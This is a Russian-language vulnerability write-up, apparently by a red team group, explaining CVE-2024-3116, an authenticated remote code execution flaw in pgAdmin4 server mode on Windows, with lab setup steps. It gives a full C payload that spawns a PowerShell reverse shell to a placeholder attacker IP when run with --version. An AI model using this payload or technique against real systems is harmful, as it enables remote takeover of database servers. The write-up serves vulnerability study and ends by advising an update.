Vulnerability
May 15

pgAdmin4 CVE-2024-3116

22 апреля была зарегистрирована уязвимость CVE-2024-3116, получившая 7.4 баллов по CVSS. Эта уязвимость приводит к удаленному выполнению кода в серверной версии pgAdmin4 ≤ 8.4 на системах Windows.

pgAdmin4 - это графический инструмент, предназначенный для администрирования баз данных PostgreSQL. Он поддерживает работу в двух режимах - desktop и server.

Для эксплуатации этой уязвимости необходимо обладать валидными учетными данными.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Сегодня в данной статье мы подготовим стенд и разберем детали этой уязвимости.

Подготовка стенда

Для демонстрации уязвимости был использован pgAdmin4 версии 8.4.

Перед установкой необходимо установить python3 (желательно использовать версию 3.7), postgresql, nodejs и yarn.

Для начала необходимо скачать архив с этой версией с официального репозитория в GitHub по следующей ссылке.

После распаковки архива необходимо перейти в папку репозиторий и установить библиотеки для python:

pip install -r requirements.txt

Далее необходимо перейти в каталог web и установить фронтенд-компоненты:

yarn install
yarn run bundle

После этого необходимо создать файл config_local.py со следующим содержимым:

from config import *

STORAGE_DIR = r'C:\Temp' # папка, куда будут сохраняться файлы, можно указать любую

# Debug mode
DEBUG = True

# App mode
SERVER_MODE = True

# Log
CONSOLE_LOG_LEVEL = DEBUG
FILE_LOG_LEVEL = DEBUG

DEFAULT_SERVER = '0.0.0.0' # можем указать адрес из любого интерфейса

UPGRADE_CHECK_ENABLED = True

# Use a different config DB for each server mode.
if SERVER_MODE == False:
    SQLITE_PATH = os.path.join(
        DATA_DIR,
        'pgadmin4-desktop.db'
    )
else:
    SQLITE_PATH = os.path.join(
        DATA_DIR,
        'pgadmin4-server.db'
    )

Теперь остается запустить файл setup.py и создать нового пользователя:

python setup.py add-user --admin EMAIL PASSWORD

После этого можно запустить файл pgAdmin.py:

python pgAdmi4n.py

Теперь на порту 5050 должна быть доступна веб-версия:

Разбор уязвимости

pgAdmin4 позволяет загружать файлы в свое хранилище, уязвимость хранится именно здесь. Для этого необходимо залогиниться в веб-форме, перейти в вкладку Tools → Storage Manager:

После этого появится окно, где можно загрузить файл:

Если взглянуть на запрос для загрузки файла, мы можем увидеть по какому пути сохранился наш файл:

Этот файл должен появится в указанной директории на целевой машине:

Как это можно проэксплуатировать? В pgAdmin4 есть интересная возможность указать путь к утилитам для работы с postgres, например psql, pg_dump, pg_dumpall, pg_restore. Это можно сделать перейдя в раздел File → Preferences → Binary Paths:

Попробуем указать известную нам директорию из предыдущего запроса и нажмем на кнопку с галкой. Посмотрим на запрос:

Найдем в исходном коде функцию, отвечающую за обработку этого запроса:

Видим, что цикл пробегается по файлам в указанной директории и передает их далее в функцию get_binary_path_version. Эта функция выглядит следующим образом:

Сначала идет проверка, входит ли имя файла в массив UTILITIES_ARRAY, в случае истины запускается файл с флагом --version, а функция возвращает результат. Именно здесь кроется уязвимость, которую мы можем проэксплуатировать, загрузив в хранилище наш исполняемый файл с любым названием из массива UTILITIES_ARRAY.

В файле с константами можно увидеть из чего состоит этот массив: UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']

Подготовка нагрузки

Для начала нам необходимо создать исполняемый файл с обратным шеллом. Сделать это можно либо с помощью msfvenom:

Либо руками скомпилировать C-файл через mingw:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
    if (argc > 1 && strcmp(argv[1], "--version") == 0) {
        system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    } else {
        printf("Usage: %s --version\n", argv[0]);
    }
    return 0;
}

После нажатия кнопки валидации этого бинаря в настройках, мы можем получить обратный шелл:

Подобная уязвимость не сработает на Linux, так как при загрузке файла в хранилище, он сохранится без прав на выполнение.

Заключение

Сегодня мы с вами рассмотрели уязвимость удаленного выполнения кода в pgAdmin4. При желании можно автоматизировать эксплуатацию, написав скрипт с аутентификацией, загрузкой файла и его валидацией.

Если вы используете pgAdmin4 в серверном моде, рекомендуется обновиться до последней версии, чтобы избежать возможной эксплуатации со стороны злоумышленников.